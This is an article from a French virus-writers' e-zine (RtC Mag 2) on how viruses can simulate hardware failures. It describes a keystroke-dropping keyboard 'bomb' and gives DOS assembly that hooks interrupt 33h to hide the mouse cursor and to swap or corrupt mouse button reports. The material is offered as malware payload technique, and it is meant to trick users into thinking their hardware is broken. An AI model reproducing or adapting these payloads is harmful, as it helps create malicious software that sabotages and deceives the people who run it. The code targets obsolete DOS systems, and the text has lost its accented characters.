-------[  RtC Mag, At the end of the universe  ]

--------------[  Virus et dommages matriels  ]
---------[ in RtC mag 2 ]
----[  by Androgyne <androgyne-rtc@fr.st>  ]


-------[  Introduction

    Contrairement  ce que peuvent penser beaucoup de personnes, les virus ne peuvent pas causer de dommages matriels. En tout cas, plus maintenant... Il y a un petit bout de temps, on pouvait niquer un lecteur de disquettes en lui demandant d'aller chercher sur un cylindre au del du maximum. On pouvait mme dtruire le moniteur en lui envoyant des octets inadquats. Maintenant tout cela est impossible (ou alors cela relve du miracle). Si vous avez dj entendu dire par exemple que votre barrette de RAM est morte  cause d'un virus ou qu'un virus a dtruit votre disque dur ou que votre clavier ne marche plus  cause d'un virus, sachez que celui qui a dit a n'en sait pas plus que vous (cette attitude fait partie d'une thorie qui veut que toute panne inexplique provient ncessairment d'un virus, thorie tout  fait dbile). Si c'est un vendeur de matriel informatique, dites lui au revoir et allez autre part car vous avez  faire  un escroc (dans ce domaine, il sont plus nombreux qu'on le pense).


-------[  C'est pas de l'arcade, c'est de la simulation !

    Mais attention, si un virus ne peut pas causer de dommages matriels, il peut tout  fait les simuler. Simulation ne signifie pas destruction. Pour vous montrer combien il est facile de simuler une panne de clavier, allez voir dans l'article La bombe du mag, Kill-R. La gachette de cette bombe peut tre simple, on incrmente un compteur  chaque frappe du clavier. Si le compteur dpasse une certaine limite, BOUM! Mais on peut le faire plus subtilement... On incrmente un compteur, on tire un nombre au hasard et si le nombre tir est infrieur au compteur, la touche appuye ne renvoie rien. Ainsi petit  petit, la touche en question va tre de plus en plus dfaillante, ce qui va paratre au yeux de l'utilisateur comme une panne physique. C'est dbile mais a marche...

	On peut simuler de mme une panne de souris. C'est bien plus facile (grce  l'interruption 33h) et surtout plus marrant. Plusieurs possibilit s'offrent  nous... On peut par exemple faire disparatre le curseur, changer les boutons ou les rendre "dfaillants". Il suffit d'installer un gestionnaire de l'interruption 33h.
	Je vais tout d'abord vous montrer comment faire disparatre le curseur. Pour cela il faut dtourner la fonction 00 sous fonction 01, qui est charge d'afficher le curseur, et de remplacer l'appel  la sous fonction 01 par un appel  la sous fonction 02, qui est charg d'effacer le curseur... Ceci est trs facile  faire, voici donc le code  utiliser :

--- NEW_INT_33 (1) ------------------------------------------------------------

NEW_INT_33:
	cmp ax,0001h
	jnz INT_33
	mov ax,0002h
  INT_33:
	jmp dword ptr cs:[Old_33]

--- NEW_INT_33 (1) ------------------------------------------------------------

    Comme ce code est ultra simple, je vais galement vous donner le code pour changer les boutons. Cette fois, il faut dtourner la fonction 00 sous fonctions 03 et 05. La sous fonction 03 retourne la position et l'tat des boutons et la sous fonction 05 retourne des informations sur les boutons qui ont t presss. Le code se prsente ainsi:

--- NEW_INT_33 (2) ------------------------------------------------------------

NEW_INT_33:
	cmp ax,0003h
	jz FCTN03
	cmp ax,0005h
	jz FCTN05
  INT_33:
	jmp dword ptr cs:[Old_33]

FCTN03:
	pushf
	call dword ptr cs:[Old_33]
	xor bx,00000011b
	ret

FCTN05:
	cmp bx,0002h
	jz INT_33
	push dx
	mov dx,1
	sub dx,bx
	mov bx,dx
	pop dx
  NEXT:
	pushf
	call dword ptr cs:[Old_33]
	xor ax,00000011b
	ret

--- NEW_INT_33 (2) ------------------------------------------------------------

    Pour comprendre le code ci dessus, reportez vous  l'annexe de cet article (int33h). Pour avoir de la documentation plus importante sur l'interruption 33h et sur toutes les autres, dowloadez la Ralf Brown's Interrupt List (tapez Ralf Brown dans un moteur de recherche et vous trouverez).


-------[  EOF